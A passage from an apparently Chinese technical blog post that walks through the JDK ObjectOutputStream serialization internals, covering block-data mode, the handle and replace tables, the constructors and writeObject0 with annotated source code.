* 以便对应的 {@code readObject} 能正确恢复。
* 它**无需关心**超类或子类的状态;通常通过在 {@code ObjectOutputStream} 上
* 逐个写出字段(可再次调用 {@code writeObject},或使用 DataOutput 支持的原始类型写法)。
*
* <p>未实现 {@link java.io.Serializable} 的类,其字段**不会被写出**。
* 但**不可序列化类的子类**仍然可以是可序列化的——此时,不可序列化的父类必须提供**无参构造器**
* 以便在反序列化时初始化其字段;同时由**子类**负责保存/恢复该父类的必要状态
* (常见做法是父类字段可访问,或提供 getter/setter 以便恢复)。
*
* <p>若希望**阻止**某对象被序列化,可在类中实现 {@code writeObject}/{@code readObject}
* 并直接抛出 {@link java.io.NotSerializableException};该异常会被 ObjectOutputStream 捕获,
* 并中止序列化流程。
*
* <p>实现 {@link java.io.Externalizable} 接口则让对象对其序列化格式与内容拥有**完全控制权**。
* 框架会调用 {@code writeExternal}/{@code readExternal} 保存与恢复对象状态;
* 类可以使用 {@link java.io.ObjectOutput} / {@link java.io.ObjectInput} 的所有方法
* 自行读写。版本演进(versioning)也需要由对象自行处理。
*
* <p>枚举常量(enum)的序列化与普通(可序列化/外部化)对象不同:
* 序列化形式**只包含其名称**({@code name()} 的返回值),常量上的字段值不会被传输。
* 与其他对象一样,枚举常量也可以作为后续回引用(back reference)的目标。
* 枚举类型的序列化过程**不可自定义**:枚举类中定义的任何 {@code writeObject}/{@code writeReplace}
* 都会在序列化时被忽略;同样,任何 {@code serialPersistentFields} 或 {@code serialVersionUID}
* 声明也会被忽略——**所有枚举类型的 {@code serialVersionUID} 固定为 0L**。
*
* <p>除可序列化字段与 Externalizable 数据外,其余**原始数据**会以**块数据(block-data)记录**
* 写入到 ObjectOutputStream 中。每个块数据记录由一个**头部**(标记 + 后续字节数)和数据体组成;
* **连续的原始类型写入会被聚合**到同一块记录。块数据记录的默认**分块大小**为 1024 字节;
* 每条记录会尽量填满至 1024 字节,或在“退出块数据模式”时被立刻写出。
* 调用 {@code writeObject}、{@code defaultWriteObject} 与 {@code writeFields}
* 会**首先终止**(flush/切断)当前仍在聚合的块数据记录。
*
* @author Mike Warres
* @author Roger Riggs
* @see java.io.DataOutput
* @see java.io.ObjectInputStream
* @see java.io.Serializable
* @see java.io.Externalizable
* @see <a href="../../../platform/serialization/spec/output.html">
* Object Serialization Specification, Section 2, Object Output Classes</a>
* @since JDK1.1
*/
public class ObjectOutputStream
extends OutputStream
implements ObjectOutput, ObjectStreamConstants {
// [...]
}

块输出流:BlockDataOutputStream bout

ObjectOutputStream(OOS)并不直接往你提供的 OutputStream out 写字节,而是把它再包一层成 BlockDataOutputStream bout,所有写入最终都流经 bout

你可以把它想成:OOS 管“组织与语法”(写什么标记、什么时候进入字段区),bout 管“物理出流”(是否包成块、如何加长度头、什么时候冲刷缓冲区)。

BlockDataOutputStream 在数据写入时有两种模式:

  • 结构化标记直写(非块模式)TC_OBJECT / TC_CLASSDESC / TC_REFERENCE / TC_NULL / TC_ENUM / TC_ARRAY / TC_STRING / TC_LONGSTRING / TC_ENDBLOCKDATA ... 这些协议“标签”需要在非块模式下逐条写,保证接收端按标记边界解析。此时 bout.writeByte(x) 就是直接把 x 发到下游,不做块封装。

  • 原始字节聚合(块数据模式):把原始类型(byte/int/long…)或一段“注解/外部化数据”攒成一个块后一次性写出(TC_BLOCKDATATC_BLOCKDATALONG + 长度 + 内容),减少碎片化与边界处理的开销。

两种模式是通过 setBlockDataMode 方法进行切换的:

1
boolean old = bout.setBlockDataMode(newMode);

setBlockDataMode 函数实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/**
* 将“块数据模式”设置为给定值(true=开,false=关),并**返回切换前的模式值**。
*
* 语义说明:
* - 若新旧模式相同:不做任何事,直接返回当前模式值(等于旧模式)。
* - 若新旧模式不同:先把缓冲区中**尚未写出的字节**全部冲刷(drain),
* 再切换模式;最后返回“旧模式值”,以便调用方在 finally 中恢复。
*
* 典型用法:
* boolean old = bout.setBlockDataMode(true);
* try {
* // 在块模式下写原始字节(字段、注解、external 数据等)
* } finally {
* bout.setBlockDataMode(old); // 恢复进入前的模式
* }
*
* @param mode 目标模式(true=进入块模式;false=退出块模式)
* @return 切换**之前**的模式值(供调用方保存/恢复)
*/
boolean setBlockDataMode(boolean mode) throws IOException {
// 若目标模式与当前模式一致:无须操作,直接返回当前(也即“旧的”)模式值
if (blkmode == mode) {
return blkmode;
}

// 模式发生切换前:必须将缓冲中的数据写出
// 这样可以确保“块区内容”与“结构化标记”严格分段,不会黏连在一起导致读端误读
drain();

// 真正切换到新模式
blkmode = mode;

// 返回“旧模式值”
// 由于上面刚把 blkmode 设为了新的 mode,因此 !blkmode 等于“切换前的模式”
// (如果你觉得易混淆,可以理解为:old = (blkmode 设新值前的值))
return !blkmode;
}

/**
* 将当前缓冲区(buf[0..pos))中的**所有字节**写入到底层输出流 out,
* 但**不**调用 out.flush()(不强制冲刷底层流)。
*
* 行为细节:
* - 若 pos==0:缓冲为空,直接返回。
* - 若当前处于“块模式”(blkmode==true):
* * 先写入“块头”(TC_BLOCKDATA/TC_BLOCKDATALONG + 长度=pos),
* 再把 buf 中的 pos 个字节写出;读端据此按长度精确读取该块。
* - 若当前处于“非块模式”(blkmode==false):
* * 直接把 buf 中的字节原样写出(非块模式下缓冲仅作聚合小写/减少 syscall)。
* - 最后将 pos 置 0,表示缓冲已清空。
*
* 典型调用时机:
* - 模式切换前(setBlockDataMode 内部会先 drain 再切模式)。
* - 内部缓冲写满时(上层写入导致 pos 达到阈值)。
* - 某些显式 flush/收尾动作之前(但本方法本身不 flush 底层 out)。
*/
void drain() throws IOException {
if (pos == 0) {
return; // 无数据可写,直接返回
}
if (blkmode) {
// 在块模式下,必须先输出块头,告知读端本次紧随其后的块长度
writeBlockHeader(pos);
}
// 将缓冲内容写入底层输出流(不调用 out.flush())
out.write(buf, 0, pos);

// 清空缓冲计数
pos = 0;
}
  • 从 true → false(离开块模式):
    先把缓冲里攒的块全部“冲刷成一个或多个 TC_BLOCKDATA/TC_BLOCKDATALONG”发出去(这一步叫 drain/flush),然后切到非块模式,接下来就可以安全地写结构化标记(比如 TC_ENDBLOCKDATATC_OBJECT 等)。
  • 从 false → true(进入块模式):
    简单地把模式置为“攒块”状态;接下来的原始字节会先进入缓冲,必要时再封成块吐出。

OOS 会在不同语义段之间自动切换,常见场景:

  • 写对象头/类描述/引用/null非块模式
    这些是结构化标记,不能包进块里。
  • 写默认字段(primitive 值)/注解区/Externalizable 数据块模式
    这些是原始字节,攒成块更高效。
  • 在块模式里突然要写“对象引用类型字段”(比如字段是 String 或其他对象):
    OOS 会先把当前块 flush 出去(保持边界清晰),再临时切到非块模式TC_STRING/TC_OBJECT/... 等结构;写完又回到块模式继续攒后面的原始字节。

对象句柄表:HandleTable handles

对象句柄表维护“对象实例 → 句柄ID(int,下标)”的映射,用于:

  • 共享引用:同一对象实例在对象图里出现多次时,只首写一次,后续都用 TC_REFERENCE 回指,保持别名关系并节省体积。
  • 循环引用:对象自指或环状结构时,先登记一个“句柄”,再写其内部字段,避免无限递归。

句柄(handle)可以理解为“写端的对象编号”。写到线上的编号会再加一个固定偏移(baseWireHandle=0x7E0000)变成“线上句柄ID”。

对象句柄表主要有下面两个相关函数:

  • lookup(obj):找句柄ID;无则 -1
  • assign(obj):为首次写出的对象分配句柄;

一个对象是否可以被引用取决于 unshared 变量。unshared 来自于 writeObject0 的参数:

1
private void writeObject0(Object obj, boolean unshared) throws IOException;

具体来说是来自于 writeUnshared(obj)

1
2
3
4
5
6
7
8
9
10
public void writeUnshared(Object obj) throws IOException {
try {
writeObject0(obj, true);
} catch (IOException ex) {
if (depth == 0) {
writeFatalException(ex);
}
throw ex;
}
}

意思是“本次写这个对象,不参与共享。以后就算再遇到同一个实例,也不要用 TC_REFERENCE 回指,而是当成新对象重写。”

序列化过程中会针对一个对象是否支持可引用(unshared)进行判断,例如:

1
handles.assign(unshared ? null : cl);
1
2
3
else if (!unshared && (handle = handles.lookup(desc)) != -1) {
writeHandle(handle);
}

对象替换表:ReplaceTable subs

序列化前,JDK 允许对象被“替换”成另外一个对象来写出,常见用途:

  • **类私有 writeReplace()**:类作者用“序列化代理(serialization proxy)”维持不变量。
    例:某些集合/包装类把自己替换为更简单稳定的代理对象,避免把内部结构直接写出去。
  • **全局替换钩子 replaceObject(obj)**:只有 自定义 OOS 子类 显式 enableReplaceObject(true) 后才启用,可用于做统一的过滤、包装、脱敏等。

在对象替换过程中,ReplaceTable 具体负责:

  • 保证替换稳定性与幂等:同一个“原对象(orig)”只要替换过一次,之后再遇到它,都应替换为同一个“替代对象(rep)”。
    否则:第一次遇到 A → 替成 B;第二次遇到 A 又变成 C,就会破坏对象图一致性、干扰共享/回指。
  • 让“替换后的对象”参与后续的句柄共享与快速路径判断:把 A→B 的映射记录后,再次遇到 A,立即视为 B,因而可能直接命中 handles、写 TC_REFERENCE,或者走 Class/OSC/String/... 特例。

ObjectOutputStream 构造函数

当我们实例化 ObjectOutputStream 并传入参数后,首先调用的是 ObjectOutputStream 的构造方法。

ObjectOutputStream 构造方法有两个,一个是 public 的单参数构造函数,一个是 protected 的无参构造函数。

无参构造函数

无参构造函数定义如下,该函数主要用于当用户完全自定义实现 ObjectOutputStream 的子类时使用。此时由于不使用 JDK 默认实现的数据结构/协议,因此构造函数中对 ObjectOutputStream 自身的数据结构不作初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/**
* 供**完全重实现**(re-implement)ObjectOutputStream 的子类使用的构造器。
* 使用该构造器的子类可以**不分配**本实现所需的私有内部结构(如句柄表、替换表等),
* 自行管理序列化格式与写出逻辑。
*
* <p>安全管理器(SecurityManager)说明:
* 若系统安装了 SecurityManager,本方法首先会调用
* SecurityManager.checkPermission(new SerializablePermission("enableSubclassImplementation"))
* 以确保允许启用“子类自定义实现”能力;否则抛出 SecurityException。
*
* <p>注意:使用该构造器意味着**不会自动写入流头部**,也不会初始化本类的内部状态;
* 子类应自行决定何时/如何写入头部、如何组织块数据模式、如何管理句柄与替换等。
*
* @throws SecurityException 若安全管理器拒绝启用“子类自定义实现”
* @throws IOException 创建流过程中发生的 I/O 错误(本实现中通常不会触发)
* @see SecurityManager#checkPermission
* @see java.io.SerializablePermission
*/
protected ObjectOutputStream() throws IOException, SecurityException {
// 若存在安全管理器,先校验是否具有“允许子类自定义实现”的权限。
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkPermission(SUBCLASS_IMPLEMENTATION_PERMISSION);
}

// 使用无参构造器时,不分配本实现的内部资源,统一置空;
// 由子类自行负责序列化数据的组织与写出。
bout = null; // 不建立 BlockDataOutputStream 包装
handles = null; // 不建立句柄表
subs = null; // 不建立替换表

// 开启“子类接管”模式:表明当前实例由子类**完全重写**核心行为。
enableOverride = true;

// 调试栈同样不初始化,子类可按需提供自己的调试/诊断机制。
debugInfoStack = null;
}

另外无参构造函数还会设置 enableOverride = true,这表示用户实现的子类完全接管 ObjectOutputStreamwriteObject 函数,此时子类只需要实现 writeObjectOverride 函数,父类的 writeObject 函数会直接调用。

1
2
3
4
5
6
7
public final void writeObject(Object obj) throws IOException {
if (enableOverride) {
writeObjectOverride(obj);
return;
}
// [...]
}

例如下面这个实例,SimpleObjectOutputStream 完全接管父类的序列化行为,并且在 writeObjectOverride 函数中实现了自己的逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class SimpleObjectOutputStream extends ObjectOutputStream {
private final OutputStream out;

SimpleObjectOutputStream(OutputStream out) throws IOException {
super(); // 关键:启用 enableOverride=true,不创建父类内部结构
this.out = Objects.requireNonNull(out);
writeStreamHeader(); // 自己决定何时写头
}

@Override
protected void writeStreamHeader() throws IOException {
// 自定义魔数 + 版本
out.write(new byte[]{'S','O','S', 0x01});
}

@Override
protected void writeObjectOverride(Object obj) throws IOException {
if (obj instanceof String s) {
out.write(0x01); // 自定义类型标记:字符串
byte[] data = s.getBytes(StandardCharsets.UTF_8);
writeInt(data.length);
out.write(data);
} else {
throw new NotSerializableException("Only String supported in demo");
}
}

// ——— 将 DataOutput 的核心写法自己实现(示例只实现最基本的)———
@Override public void write(int b) throws IOException { out.write(b); }
@Override public void write(byte[] b, int off, int len) throws IOException { out.write(b, off, len); }
@Override public void flush() throws IOException { out.flush(); }
@Override public void close() throws IOException { out.close(); }

private void writeInt(int v) throws IOException {
out.write((v >>> 24) & 0xFF);
out.write((v >>> 16) & 0xFF);
out.write((v >>> 8) & 0xFF);
out.write(v & 0xFF);
}
}

// 使用
try (var baos = new ByteArrayOutputStream();
var oos = new SimpleObjectOutputStream(baos)) {
oos.writeObject("Hello");
oos.writeObject("World");
oos.flush();
byte[] bytes = baos.toByteArray();
// bytes 就是你自定义的“序列化格式”,需要配套的 SimpleObjectInputStream 解析
}

有参构造函数

当我们使用 ObjectOutputStream(OutputStream out) 创建一个对象输出流并进行序列化时,实际调用的是该带参构造函数,它的实现如下所示。可以看到,这里 enableOverride 被设置为 false,意味着后续调用 writeObject() 等方法时,会使用 JDK 默认实现,而不是某个子类可能自定义的版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/**
* 创建一个写入到指定 OutputStream 的 ObjectOutputStream。
* 本构造函数会立即向“底层 out 流”写入 Java 序列化协议的**流头部(stream header)**;
* 调用者通常会在构造后立刻调用 flush(),以避免对端的 ObjectInputStream
* 在读取头部时发生阻塞。
*
* <p>安全管理器(SecurityManager)说明:
* 如果已安装 SecurityManager,并且本构造器是由某个**子类的构造器**直接或间接调用,
* 且该子类**重写**了 ObjectOutputStream.putFields 或
* ObjectOutputStream.writeUnshared 等**安全敏感方法**,
* 则会检查 SerializablePermission("enableSubclassImplementation") 权限。
*
* @param out 要写入的底层输出流(不得为 null)
* @throws IOException 写序列化流头部时发生 I/O 错误
* @throws SecurityException 若不受信任的子类非法重写了安全敏感方法
* @throws NullPointerException 若 out 为 null
* @since 1.4
* @see ObjectOutputStream#ObjectOutputStream()
* @see ObjectOutputStream#putFields()
* @see ObjectInputStream#ObjectInputStream(InputStream)
*/
public ObjectOutputStream(OutputStream out) throws IOException {
// 在真正初始化前做一次“子类校验”:如果调用栈中存在自定义子类且其
// 重写了某些受保护/敏感的方法(如 writeUnshared/putFields),必须具备相应权限。
verifySubclass();

// 将底层 OutputStream 包装为“块数据输出流”:
// Java 序列化协议(Object Serialization Stream Protocol)中,
// 普通数据常以 block-data 的形式写出(带长度前缀的块)。
bout = new BlockDataOutputStream(out);

// 句柄表(handle table):为已经写出的对象分配/管理“句柄 ID”,
// 用于处理对象图中的共享引用与循环引用。
// 初始容量 10,装载因子约 3.0(阈值 = 容量 * 装载因子)。
handles = new HandleTable(10, (float) 3.00);

// 替换表(substitution table):在启用 writeReplace/enableReplaceObject
// 的场景下,把某个待写对象替换成另一个对象(例如代理/值对象)再进行序列化。
subs = new ReplaceTable(10, (float) 3.00);

// 标记当前采用“默认实现”而非“子类自定义实现”。
// 当 enableOverride 为 true 时,表示子类选择自行接管写出流程。
enableOverride = false;

// 写出序列化流头部(magic、version 等),与对端 OIS 的 readStreamHeader 对应。
writeStreamHeader();

// 进入“块数据模式”(block data mode),后续基本写入都按数据块+长度前缀编码。
bout.setBlockDataMode(true);

// 若开启扩展调试信息,则初始化调试栈,用于在异常时附加
// “当前正在写哪个类/哪个字段”等上下文信息,便于定位问题。
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}

在构造函数的最开始,verifySubclass() 用于检查调用栈中是否存在继承了 ObjectOutputStream 的自定义子类。如果存在且该子类重写了敏感方法(如 writeUnshared()),且当前 JVM 安装了 SecurityManager,那么必须具备 SerializablePermission("enableSubclassImplementation") 权限。否则会抛出 SecurityException

接着将传入的 OutputStream 封装为 BlockDataOutputStream

1
2
3
4
// 将底层 OutputStream 包装为“块数据输出流”:
// Java 序列化协议(Object Serialization Stream Protocol)中,
// 普通数据常以 block-data 的形式写出(带长度前缀的块)。
bout = new BlockDataOutputStream(out);

BlockDataOutputStream 是专用于 Java 序列化的输出封装类,它将数据写成块数据格式(block data),并配合 ObjectInputStream 使用的 BlockDataInputStream 实现数据对齐与高效读写。

1
2
3
4
5
6
7
8
/**
* Creates new BlockDataOutputStream on top of given underlying stream.
* Block data mode is turned off by default.
*/
BlockDataOutputStream(OutputStream out) {
this.out = out;
dout = new DataOutputStream(this);
}

这是 Java 内建序列化协议(Object Serialization Stream Protocol)的实现细节,和 ObjectInputStream 对应的 BlockDataInputStream 配套,负责在“块数据模式”与“非块模式”(写对象/类描述等结构化标记,比如 TC_OBJECTTC_CLASSDESCTC_REFERENCE)之间切换,保证两边读写严格对齐。

之后调用 writeStreamHeader() 写出序列化头部内容:

1
2
// 写出序列化流头部(magic、version 等),与对端 OIS 的 readStreamHeader 对应。
writeStreamHeader();

也就是写出两个短整型值:魔数 0xACED 与版本号 0x0005,这些会被接收方 ObjectInputStreamreadStreamHeader() 时读取并校验。

1
2
3
4
protected void writeStreamHeader() throws IOException {
bout.writeShort(STREAM_MAGIC); // 0xACED
bout.writeShort(STREAM_VERSION); // 0x0005
}

块数据模式下,所有原始类型、数组等写入操作都会自动被包装为带有长度前缀的块(使用 TC_BLOCKDATATC_BLOCKDATALONG 标签),可以减少标记开销、提升解码效率。

1
2
// 进入“块数据模式”(block data mode),后续基本写入都按数据块+长度前缀编码。
bout.setBlockDataMode(true);

writeObject 序列化

ObjectOutputStreampublic 构造方法走完后,才会调用 writeObject() 开始写对象数据,该方法的主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* 将指定对象写入到此 ObjectOutputStream。
*
* <p>写出的内容包括:
* <ul>
* <li>对象的<b>运行时类</b>及其<b>类签名</b>(如 serialVersionUID 等元信息);</li>
* <li>该类及其所有父类中<b>非 transient 且非 static</b>的实例字段的当前值;</li>
* <li>对象引用指向的其它对象会被<b>传递性</b>写出,从而使读端可以重建完整的对象图。</li>
* </ul>
*
* <p>默认序列化可以通过在类中定义私有的 {@code writeObject(ObjectOutputStream)}
* 与 {@code readObject(ObjectInputStream)} 方法来<b>覆盖</b>,以实现自定义序列化逻辑。
* 若对象实现了 {@link java.io.Externalizable},则改为走 {@code writeExternal/readExternal}。
*
* <p>异常处理:若写出过程中发生异常,将抛出到调用者;该异常通常使本输出流处于<b>未定义状态</b>。
* 当异常发生于<b>最外层</b>写入(见下文 depth==0)时,当前实现还会在流中写入一个
* “致命异常”标记,读端在随后读取时会抛出 {@link java.io.WriteAbortedException},
* 其 cause 为这里的原始异常。
*
* @param obj 要写出的对象(可为 {@code null},此时会写入协议常量 TC_NULL)
* @throws InvalidClassException 用于序列化的某个类不合法(如 serialVersionUID 不匹配等)
* @throws NotSerializableException 待写对象中存在未实现 {@link java.io.Serializable} 的类型
* @throws IOException 底层输出流抛出的任意 I/O 异常
*/
public final void writeObject(Object obj) throws IOException {
// 若当前 OOS 处于“子类完全接管模式”(通过受保护的无参构造器启用),
// 则调用子类的覆盖实现;否则使用本类标准实现。
if (enableOverride) {
writeObjectOverride(obj);
return;
}
try {
// 核心写入:writeObject0 负责对象图遍历、类描述写出、字段编码、句柄表维护等。
// 第二个参数 unshared=false 表示采用“可共享语义”(允许后续用 TC_REFERENCE 引用同一实例),
// 与 writeUnshared(obj)(会传入 true)区分。
// 允许 obj 为 null:内部会写协议常量 TC_NULL。
writeObject0(obj, false);
} catch (IOException ex) {
// depth 表示当前写入调用的“嵌套深度”(写字段/子对象时会递增)。
// 仅当处于最外层(depth==0)时,向流写入“致命异常”标记与异常对象,
// 以便读端在后续读取时能感知并抛出 WriteAbortedException。
if (depth == 0) {
writeFatalException(ex);
}
// 重新抛出给调用者;此后该流通常应被关闭或丢弃。
throw ex;
}
}

writeObject0

enableOverridetrue 时调用的是 ObjectOutputStream 子类实现的 writeObjectOverride;否则会调用 JDK 自身实现的 writeObject0 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
/**
* 底层实现:供 {@link #writeObject(Object)} / {@link #writeUnshared(Object)} 调用。
*
* <p><b>流程总览:</b>
* <ol>
* <li>暂时关闭“块数据模式”(block-data mode),并增加写入深度 {@code depth}(用于异常处理与嵌套写入)。</li>
* <li>通过替换表 {@code subs.lookup(obj)} 做一次“规范化/已知替换”的查找;若对象为 {@code null} 则写出 {@code TC_NULL}。</li>
* <li>在允许共享({@code unshared == false})的情况下,查询句柄表 {@code handles},
* 若该对象此前已写出,则仅写出 {@code TC_REFERENCE}+句柄ID 并返回。</li>
* <li>特殊类型分支:若是 {@code Class} 或 {@code ObjectStreamClass},走专门的写出逻辑。</li>
* <li>执行 writeReplace 链(类私有的 {@code writeReplace()})以及启用时的全局替换钩子
* {@code replaceObject(obj)},直至替换稳定。</li>
* <li>若发生替换({@code obj != orig}),将映射登记到 {@code subs.assign(orig, obj)},
* 并再次执行第 2~4 步(因为替换可能把对象变成 {@code null} / 已写出对象 / Class / ObjectStreamClass)。</li>
* <li>剩余分派:字符串 / 数组 / 枚举 / 实现了 {@link java.io.Serializable} 的常规对象;
* 否则抛出 {@link NotSerializableException}。</li>
* <li>最终在 {@code finally} 中恢复写入深度与原来的块数据模式。</li>
* </ol>
*
* <p><b>{@code unshared} 的含义:</b>当为 {@code true}(来自 {@link #writeUnshared(Object)})
* 时,禁止将此对象用句柄共享(即便之前出现过也当作“新实例”写出);读取端需对应用
* {@code readUnshared} 语义处理。
*
* @param obj 待写对象(可为 {@code null})
* @param unshared 是否使用“非共享”语义
* @throws IOException 底层 I/O 或协议写出过程中的异常
*/
private void writeObject0(Object obj, boolean unshared) throws IOException {
// ① 进入“结构化写入”阶段:先切到“非块数据模式”
// - 非块模式:用于写协议的结构标记(如 TC_OBJECT/TC_CLASSDESC 等),这些标记不能被
// 包进块数据;否则接收端无法正确分段解析。
// - setBlockDataMode(false) 返回调用前的模式,以便 finally 时恢复(保证读写对齐)。
boolean oldMode = bout.setBlockDataMode(false);

// ② 记录写入深度:
// - depth 用于跟踪嵌套层级;部分异常处理(例如致命异常封装)会参考 depth 是否回到 0。
depth++;

try {
// ===================== 第一段:快速路径(null / 已写出 / 特例) =====================
int h;

// 2.1 替换表标准化:
// subs.lookup(obj) 会将“曾被 writeReplace/replaceObject 确定过的替换关系”
// 进行稳定化;对 null 直接返回 null。
if ((obj = subs.lookup(obj)) == null) {
// 情况 A:null 直接写 TC_NULL(0x70),无需进入后续逻辑
writeNull();
return;

} else if (!unshared && (h = handles.lookup(obj)) != -1) {
// 情况 B:允许共享,且该对象已写过(在句柄表中有条目)
// → 写 TC_REFERENCE(0x71) + 4 字节句柄 ID,避免重复写整对象
writeHandle(h);
return;

} else if (obj instanceof Class) {
// 情况 C:是“类对象”(java.lang.Class)
// → 写 TC_CLASS(0x76)并跟随该类的描述引用或描述体
writeClass((Class) obj, unshared);
return;

} else if (obj instanceof ObjectStreamClass) {
// 情况 D:是“类描述符”(ObjectStreamClass,包含 SUID、字段签名等)
// → 写 TC_CLASSDESC(0x72)或代理描述 TC_PROXYCLASSDESC(0x7D)
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}

// ===================== 第二段:对象替换链(writeReplace / replaceObject) =====================
Object orig = obj; // 保留“最初对象”,用于判断是否发生替换
Class<?> cl = obj.getClass(); // 当前待写对象的运行时类型
ObjectStreamClass desc; // 该类型对应的序列化描述符

for (;;) {
// 查/建该类的 ObjectStreamClass 描述符(会解析序列化相关元信息)
// 第二个参数 true 表示:如无缓存需构建(不同 JDK 具体语义略有差别,但可理解为“强制查找/建”)
desc = ObjectStreamClass.lookup(cl, true);

// 若该类声明了私有的 writeReplace():
// - 调用后可能返回:
// * null:表示最终替换为 null(将写 TC_NULL)
// * 同类对象(cl 不变):替换链到此收敛,跳出循环
// * 不同类对象(cl 变化):继续对新对象的新类进行 writeReplace 检查(多级替换)
if (!desc.hasWriteReplaceMethod()) {
break; // 无 writeReplace,跳出替换链
}
Object rep = desc.invokeWriteReplace(obj); // 反射调用私有 writeReplace()
if (rep == null) {
obj = null; // 标记为最终写 null
break;
}
Class<?> repCl = rep.getClass();
obj = rep; // 使用替换后的对象继续下一轮
if (repCl == cl) {
// 替换后类型未变,视为收敛
break;
}
cl = repCl; // 类型改变 → 继续循环,对新类型做同样检查
}

// 若启用了“全局替换钩子”(仅当自定义子类通过 enableReplaceObject(true) 开启):
if (enableReplace) {
// replaceObject 可被子类重写,用于统一的替换策略(如过滤、包装等)
Object rep = replaceObject(obj);
// 注意:允许返回 null(表示写 null)
if (rep != obj && rep != null) {
// 类型改变时,需要更新类与描述符,以便后续正确分派
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}
obj = rep;
}

// ===================== 第三段:若发生替换,登记并重走快速判定 =====================
if (obj != orig) {
// 3.1 登记 orig -> obj 的替换映射:
// 这样后续再次遇到 orig 时,subs.lookup(orig) 会稳定地返回相同的替代对象 obj。
subs.assign(orig, obj);

// 3.2 替换后需要再做一次“快速路径”检查(null / 已写出 / Class / ObjectStreamClass)
if (obj == null) {
writeNull();
return;

} else if (!unshared && (h = handles.lookup(obj)) != -1) {
writeHandle(h);
return;

} else if (obj instanceof Class) {
writeClass((Class) obj, unshared);
return;

} else if (obj instanceof ObjectStreamClass) {
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}
// 注意:此处未直接把 obj 记入句柄表;真正登记通常发生在后续具体写出函数
// (如 writeString / writeArray / writeOrdinaryObject 中的 handles.assign(...))
}

// ===================== 第四段:类型分派(进入实际的编码/写出逻辑) =====================
if (obj instanceof String) {
// 字符串:
// - 根据 MUTF-8 字节长度选择 TC_STRING(<=0xFFFF) 或 TC_LONGSTRING(>0xFFFF)
// - 内部会按 unshared 语义决定是否登记句柄
writeString((String) obj, unshared);

} else if (cl.isArray()) {
// 数组:
// - 原始类型数组与对象数组的编码不同
// - 会写 TC_ARRAY + 类描述(或引用)+ 长度 + 元素数据
writeArray(obj, desc, unshared);

} else if (obj instanceof Enum) {
// 枚举:
// - 写 TC_ENUM + 枚举类型描述(或引用)+ 枚举常量名(String)
writeEnum((Enum<?>) obj, desc, unshared);

} else if (obj instanceof Serializable) {
// 可序列化的常规对象:
// - 写 TC_OBJECT + 类描述(或引用)
// - 按声明的字段(非 transient/非 static)自顶向下写父类链上的实例数据
// - 若类实现 Externalizable 或声明自定义 writeObject/readObject 也会在这里处理
writeOrdinaryObject(obj, desc, unshared);

} else {
// 不能序列化:抛出 NotSerializableException,必要时附带调试路径栈信息
if (extendedDebugInfo) {
throw new NotSerializableException(
cl.getName() + "\n" + debugInfoStack.toString());
} else {
throw new NotSerializableException(cl.getName());
}
}

} finally {
// ⑤ 恢复调用前的环境,确保流状态一致
depth--; // 恢复嵌套深度
bout.setBlockDataMode(oldMode); // 恢复原先的块模式(保证输入端按相同模式读取)
}
}

writeObject0() 方法最开始的地方,首先代码先关闭输出流的Data Block模式,并且将原始模式赋值给变量 oldMode

1
2
// 进入结构化写入:先关掉块数据模式(非块模式用于写 TC_OBJECT / 类描述 等结构标记)
boolean oldMode = bout.setBlockDataMode(false);

接下来会处理已经处理过的不可替换的对象,这些都是不能够序列化的,其实在大多数情况下,我们的代码都不会进入这个代码块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// ============================================================
// 1) 处理已知替换与“null”直写,以及已写出对象的句柄复用
// ============================================================
int h;
// 通过替换表做一次“规范化”查找:
// - 对 null 会返回 null;
// - 对已登记的被替换对象,返回其替换后的对象(保持替换稳定)。
if ((obj = subs.lookup(obj)) == null) {
// 1.a 对象为 null → 写 TC_NULL
writeNull();
return;

} else if (!unshared && (h = handles.lookup(obj)) != -1) {
// 1.b 允许共享,且对象此前已写出过 → 写引用 TC_REFERENCE + 句柄ID
writeHandle(h);
return;

} else if (obj instanceof Class) {
// 1.c 直接写类对象(TC_CLASS + 类描述或引用)
writeClass((Class) obj, unshared);
return;

} else if (obj instanceof ObjectStreamClass) {
// 1.d 写类描述符(包含 SUID、字段签名等)
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}

具体来看,代码首先会进入 subs.lookup(obj) 进行判断。该方法会查找并返回给定对象的替换。如果找不到替换,则返回查找对象本身。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* 查找并返回给定对象的“替代对象”(replacement)。
